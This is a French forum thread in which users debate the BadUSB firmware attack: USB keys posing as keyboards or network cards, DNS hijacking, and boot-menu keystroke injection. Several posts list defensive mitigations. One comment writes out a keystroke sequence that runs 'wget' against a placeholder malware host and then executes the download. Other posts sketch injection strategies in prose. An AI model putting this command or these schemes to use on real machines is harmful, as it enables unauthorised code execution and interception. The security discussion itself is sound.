Après, le machin peut toujours tenter d’ouvrir une xterm pendant que ça n’est pas verrouillé, quand je suis devant le PC. Faut déjà qu’il trouve la bonne combinaison de touche sous openbox. Et qu’il ne se fasse pas pécho lors de tentatives ratés sous mes yeux. Et que les messages du noyau lors du changement de type de device n’attirent pas mon attention. Et qu’il utilise la bonne keymap. Bon, ça fait beaucoup de si. Une attaque ciblé sur une personne précisément par la CIA, avec du renseignement en amont, éventuellement ça peut marcher. Un virus qui tape au petit bonheur la chance, bof.









yep a écrit :



&nbsp;Et une clé USB qui tout d’un coup passe en clavier et entre “ALT+F2” “termial” “wget&nbsp;&nbsp; http://monvirus.com” ./monvirus &” “exit” ?





Faudrait déjà trouver le mot de passe, et puis le tout a l’aveugle, a moins que le firmware est aussi accès a la sortie vidéo.









nigol a écrit :



Le trafic venant du contrôleurs est vu par tous les devices. Simplement parce que tous les devices doivent répondre aux requêtes adressées à ‘0’.





C’est le hub qui route les requêtes d’identification.









alexandredenis a écrit :



Encore faudrait-il qu’il y ait un terminal ouvert. Cette attaque ne fait rien de plus que ce que ferait quelqu’un qui a accès physique à ton clavier.

Je n’ai jamais de console ouverte qui ne soit pas verrouillée, qu’elle soit texte ou graphique. Ce n’est pas par peur des virus, juste de mes gamins (qui savent changer de VT).

Après, le machin peut toujours tenter d’ouvrir une xterm pendant que ça n’est pas verrouillé, quand je suis devant le PC. Faut déjà qu’il trouve la bonne combinaison de touche sous openbox. Et qu’il ne se fasse pas pécho lors de tentatives ratés sous mes yeux. Et que les messages du noyau lors du changement de type de device n’attirent pas mon attention. Et qu’il utilise la bonne keymap. Bon, ça fait beaucoup de si. Une attaque ciblé sur une personne précisément par la CIA, avec du renseignement en amont, éventuellement ça peut marcher. Un virus qui tape au petit bonheur la chance, bof.









Sans offense, mais apres la lecture de l’ensemble de tes affirmations dans cette news, j’espère profondément que tu sois hobbyist uniquement et que tu n’ais pas de machine de production sous ta responsabilité. La Sécurité d’un OS qu’il soit Typé UNIX/LINUX/BSD est plus que tout autre, directement proportionnelle aux capacités de son admin. Vouloir minimiser parce que ça colle à ta zone de confort/compétence est une mauvaise idée.





Cette attaque ne fait rien de plus que ce que ferait quelqu’un qui a accès physique à ton clavier.





Dire ceci et trouver cela totalement anodin, c’est une hérésie.



127.0.0.1, Brice.wernet, ANonyme, Yep, François-battail, lol.2.dol, NIgol, Ledufakademy, ont tous bien saisi les risques et les répercutions.









shugninx a écrit :



Pas trouvé de résultat google pertinent, mais j’ai encore du m’y prendre comme un manche.



Aurais-tu une URL pertinente à ce sujet ?







J’ai fait une faute de frappe, méa culpa : TAO* et non pas TOA.

Spiegel.de avait à l’époque fait une compilation, google: TAO ANT Spiegle



On enfonce un peu des portes ouvertes, puisque le fait d’intégrer des malware via un firmware n’est pas nouveau. C’est même quasiment une évidence pour qui voudrait rester discret. Ça existe déjà via des clés USB promotionnelles dont une partie du contenu est figé dans le firmware et /ou dans une partie de la NAND en lecture seule et s’auto exécute dès l’insertion de la clef.



C’était déjà le cas d’un virus nommé GenP (ouB) qui se calait sur la piste 0 d’une disquette pour infecter ensuite le système. Étant donné que matériellement le lecteur lisait forcément cette piste, le virus était lu et injecté ensuite dans n’importe quel secteur de démarrage.



Sans parlé de certains autres virus qui infectent les BIOS.








Dr.Wily a écrit :



On enfonce un peu des portes ouvertes, puisque le fait d’intégrer des malware via un firmware n’est pas nouveau.





La nouveauté c’est de l’injecter après et de transformer du matériel banal en mouchard.

Pour le fonctionnement en situation réelle, je reste cironspect. A première vue, les risques concernent surtout soit une injection de boot code via un lecteur caché, difficile en UEFI, soit un mouchard mais en supposant que les utilisateurs utilisent des hubs.



Par contre, cela permettrait de masquer du contenu sur une clé USB, affichable uniquement avec le bon bout de code.









brice.wernet a écrit :



La nouveauté c’est de l’injecter après et de transformer du matériel banal en mouchard.

&nbsp;







Là où j’ai un doute c’est dans la suite de l’opération soit l’exécution du programme. Cacher un soft dans le micro-programme qui contrôle la clef USB oui, mais exécuter ce soft automatiquement j’ai un doute en sachant que l’OS n’accède qu’a la partie stockage et encore avec un couche d’abstraction.



Ou alors le contrôleur de la clef USB upload un soft sur la NAND qui est exécuté ensuite. La encore ca va dépendre de l’OS







brice.wernet a écrit :



Par contre, cela permettrait de masquer du contenu sur une clé USB, affichable uniquement avec le bon bout de code.&nbsp;







Par contre ça, ça&nbsp; existe déjà dans la pub. Certaines boites de com sont spécialisées dans la diffusion de clefs&nbsp; de promo avec un contenu figé et/ou caché selon la machine sur laquelle tu utilise la clef. La routine d’affichage et de formatage est inscrite dans le micro-contrôleur de la clef. A un niveau bien plus bas que ce que l’OS peut contrôler.



Dans la video BADUSB, on voit l’activité visuel de la clé usb =&gt; En gros ça laisse des traces. De plus “dans la video”, le code doit être adapté en fonction de l’OS. Sous linux la clé a beaucoup mal à exécuter l’ensemble des codes spoil “ elle n’arrive pas à modifier le dns”, cette clé n’a pas le droit root “c’est marqué dans les slides de la video”. Sous windows , on voit clairement la deuxième carte réseau.&nbsp;



Est ce que la clé fonction toujours en veille ou devant l’écran de login?&nbsp;



Sources:https://www.youtube.com/watch?v=nuruzFqMgIw








nirgal76 a écrit :



Bah ouais, la faille dans bash, dans openssh c’était windows ?

Tu peux servir comme cobaye, mais dans la médecine, t’es le premier cas d’humain sans cerveau qui reste en vie.







Ça t’époustoufle, n’est-ce pas.

En lançant une petite pique avec un trait d’humour, je pensais pas récolter des insolents.



openssh -&gt; libressh

bash -&gt; “ The import of functions from the environment is a

GNU bash-only feature. Neither zsh nor mksh support this.”









Dr.Wily a écrit :



Là où j’ai un doute c’est dans la suite de l’opération soit l’exécution du programme. Cacher un soft dans le micro-programme qui contrôle la clef USB oui, mais exécuter ce soft automatiquement j’ai un doute en sachant que l’OS n’accède qu’a la partie stockage et encore avec un couche d’abstraction.






L'idée de l'attaque c'est qu'une personne va faire confiance à une clé USB car ça parait anodin. Pourquoi avoir peur de quelque chose qui ne peut que contenir des fichiers qui vont être analysés en amont par son antivirus préféré et infaillible?      






C'est là tout le truc! C'est qu'on va brancher une clé USB en pensant qu'elle est sans danger. On ne va pas regarder si elle a une activité anormale.      

Pour avoir développé des périphériques USB, je sais qu'il est possible de connaitre le type d'OS en fonction de son énumération ou du fonctionnement (du moins faire la distinction entre Linux et Windows). Si on se focalise sur le phénomène, on doit pouvoir faire une analyse plus précise et détecter plus de différences entre les sous catégories (XP, VISTA, 7, libusb 0.1, libusb 1.0, ...).

A partir de ce moment là, on peut attaquer différemment suivant le host sur lequel on est branché.






Après, pour un pirate, quelle est la cible la plus facile?      

Si vous avez mis en place un système qui verrouille votre session lorsque votre regard quitte l'écran et qu'elle est déverrouillée par reconnaissance rétinienne, que les messages kernel sont affichés en gros rouge devant vous ou que vous aimez monter tout à la main en faisant vous même les modprobe... Il se peut que vous ne soyez par trop inquiété par ce genre d'attaque.

&nbsp;

Mais est-ce le cas de monsieur et madame tout le monde?







  • &nbsp; Combien de personnes mettent un écran de vielle avec un mot de passe?

  • &nbsp; Combien de pesonnes savent configurer une carte réseau ou comprendre qu’une carte réseau vient de se connecter?

  • &nbsp; Combien de personnes regardent régulièrement les logs du système?

  • &nbsp; Combien de personnes utilisent quotidiennement un compte sans droit administrateur?

  • &nbsp; Combien de personnes mettent un mot de passe différent pour le compte utilisateur du compte admin?

  • &nbsp; Combien de personnes mettent un mot de passe dans le bios?

  • &nbsp; Combien de personnes désactivent le boot sur USB dans le bios?

  • &nbsp; Combien de personnes désactivent l’apparition du choix du menu de boot lorsque F12 (ou une autre touche) est appuyée?

  • &nbsp; Combien de personnes activent le secure boot?



    &nbsp;

    Très peu. Trop peu. Déjà que choisir un mot de passe digne de ce nom est quelque chose de peu courant, imaginez le reste!



    Alors la personne va brancher la clé USB, la laisser sur la machine et potentiellement la redémarrer. Combien de personne regarde l’écran de son ordinateur booter jusqu’au bout…. et ne loupe pas une goute des logos qui tournent pour indiquer le chargement?

    Je sais pas expérience que beaucoup de personnes appuient sur le bouton power, et vont faire autre chose le temps que le système se charge. La clé peu avoir détecté qu’elle était énumérée par le bios et proposer une partition bootable, s’énumérer comme clavier et appuyer sur F12, faire deux fois flèche bas puis “enter”… et si ça ne marche pas cette fois, on mémorise et on recommence une autre séquence le prochain boot.



    Le petit virus, une fois installé, peu essayer de trouver d’autre support qu’il connait et qu’il peut corrompre, webcam, disque dur USB, …



    Tout ça parce que vous avez branché une clé USB et que vous avez fait confiance à ce petit bout de plastique. Si c’était un périphérique USB que vous ne connaissiez pas, vous vous seriez peut-être méfié d’un comportement étrange : le bruit soudain du branchement USB, le popup comme quoi le périphérique était bien installé, une fenêtre noire qui apparait puis disparait en moins d’une seconde, votre écran de veille qui s’active sans raison…





    &nbsp;



    candriant a écrit :



    Dans la video BADUSB, on voit l’activité visuel de la clé usb =&gt; En gros ça laisse des traces. De plus “dans la video”, le code doit être adapté en fonction de l’OS. Sous linux la clé a beaucoup mal à exécuter l’ensemble des codes spoil “ elle n’arrive pas à modifier le dns”, cette clé n’a pas le droit root “c’est marqué dans les slides de la video”. Sous windows , on voit clairement la deuxième carte réseau.&nbsp;





    Dans la vidéo, ils ont fait une carte réseau qui possède un serveur DHCP qui fourni seulement un DNS mais pas de passerelle. Là où ils ont merdé dans la démo c’est qu’ils sont allé sur le vrai site avant d’avoir branché la clé avec la carte réseau factice. Le système à donc mémorisé le lien entre paypal et l’adresse IP. On voit dans la vidéo qu’ils suppriment le cache de Firefox, mais ont oublié de vider le cache DNS. Du coup, quand ils retournent sur le site, c’est toujours le vrai paypal. Cette attaque est valable si la carte réseau se monte avant que cache DNS du système ne connaissent l’adresse IP du site.

    Mais c’est un exemple parmi d’autre.

    &nbsp;

    Il y a surement moyen de faire d’autre type d’attaque. Par exemple, une webcam est capable de faire du traitement d’image avec un processeur dédié au traitement vidéo. Alors pourquoi ne pas faire en sorte que la webcam s’énumère aussi comme un écran secondaire et analyse en live ce que vous faites?



OK avec tout c’est du bon sens. Mais :

&nbsp;

&nbsp;

Je sais pas expérience que beaucoup de personnes appuient sur le bouton

power, et vont faire autre chose le temps que le système se charge. La

clé peu avoir détecté qu’elle était énumérée par le bios et proposer une

partition bootable, s’énumérer comme clavier et appuyer sur F12, faire

deux fois flèche bas puis “enter”… et si ça ne marche pas cette fois,

on mémorise et on recommence une autre séquence le prochain boot.





Oui, c’est en théorie possible, mais avec du matos plus spécifique (électroniquement) qu’une clef basique quand même.&nbsp;non ?








calimero1 a écrit :



Je lance l’idée sur kickstarter =&gt; le hub usb pare feu





Pas mal l’idée. Mais il ne faut pas que le hub puisse être infecté à son tour.









yep a écrit :



Dans la vidéo, ils ont fait une carte réseau qui possède un serveur DHCP

qui fourni seulement un DNS mais pas de passerelle. Là où ils ont merdé

dans la démo c’est qu’ils sont allé sur le vrai site avant d’avoir

branché la clé avec la carte réseau factice. Le système à donc mémorisé

le lien entre paypal et l’adresse IP. On voit dans la vidéo qu’ils

suppriment le cache de Firefox, mais ont oublié de vider le cache DNS.

Du coup, quand ils retournent sur le site, c’est toujours le vrai

paypal. Cette attaque est valable si la carte réseau se monte avant que

cache DNS du système ne connaissent l’adresse IP du site. Mais c’est un exemple parmi d’autre.



   &nbsp;









Je ne pense pas car dans la vidéo, l’exécution de la clé possède les mêmes droit sutilisateur en cours. Il le dit lui même que le système testé&nbsp; est différent. donc ça ne marche pas. Tout dépend des droits mis pour les changements dns et autres modifications sur les autres cas.&nbsp;



ça clé pour le moment pour xubuntu, au pires des cas fonctionne sur un xubuntu avec un cache dns vide.









Dr.Wily a écrit :



OK avec tout c’est du bon sens. Mais :

&nbsp; &nbsp;

Oui, c’est en théorie possible, mais avec du matos plus spécifique (électroniquement) qu’une clef basique quand même.&nbsp;non ?







Justement, non. Pour faire une clé USB, il faut 3 endpoints: le 0, le bulk in et le bulk out.

Pour faire un clavier, il te faut (de mémoire) 3 endpoints, le 0, un transfert out et un interrupt in.

Si tu veux faire un usb composite: clavier + mass storage, il te faut 5 endpoint, le 0 étant commun.

5 endpoint c’est quelque chose qu’on peut trouver dans les chips.



Pour l’histoire de sauvegarder si ça a fonctionné ou non, on a plein de NAND flash dans laquelle on peut écrire. Pourquoi se priver!









candriant a écrit :



Je ne pense pas car dans la vidéo, l’exécution de la clé possède les mêmes droit sutilisateur en cours. Il le dit lui même que le système testé&nbsp; est différent. donc ça ne marche pas. Tout dépend des droits mis pour les changements dns et autres modifications sur les autres cas.&nbsp;




ça clé pour le moment pour xubuntu, au pires des cas fonctionne sur un xubuntu avec un cache dns vide.







Sous Ubuntu, je n’ai pas souvenir qu’il faut des droits particulier pour se connecter en wifi à un réseau. Le DNS est bien monté automatiquement. Idem pour une carte réseau: quand je connecte mon câble USB, le DHCP est lancé automatiquement et j’ai internet. Pourquoi ça ne fonctionnerai pas avec une carte réseau USB?

&nbsp;









Dr.Wily a écrit :



OK avec tout c’est du bon sens. Mais :

&nbsp;

&nbsp;



Oui, c’est en théorie possible, mais avec du matos plus spécifique (électroniquement) qu’une clef basique quand même.&nbsp;non ?





Il suffit de mettre un bootloader qui n’accepte que les FW signés… pas trop compliqué à faire.



Oui il y a pas besoin pour installer un matériel usb. Par contre sous ubuntu, il faut des droits pour modifier le DNS même pour reset le DNS. c’est pourquoi ça ne marche pas.



http://doc.ubuntu-fr.org/dns



Dans tous les cas de figures, l’USB utilise la session de la personne donc l’attaque doit être personnalisé en fonction de l’OS et de la configuration session. &nbsp;Rien empêche à la clé de faire appel à un tiers ( ici c’est la cas dans la video BADUSB) pour exploiter une faille système.








yep a écrit :



Idem pour une carte réseau: quand je connecte mon câble USB, le DHCP est lancé automatiquement et j’ai internet. Pourquoi ça ne fonctionnerai pas avec une carte réseau USB?

&nbsp;



Lancer automatiquement un DHCP sur une carte qu’on connaît, et sur laquelle on branche un câble Ethernet, c’est différent de brancher une nouvelle carte réseau.

Dans un cas, la carte réseau est connue du système et on a mémorisé qu’il fallait faire un DHCP dès qu’on détecte un câble Ethernet (toujours sur la même carte) ; dans l’autre cas, c’est un nouveau device sorti de nulle part, que l’on n’utilise pas par défaut.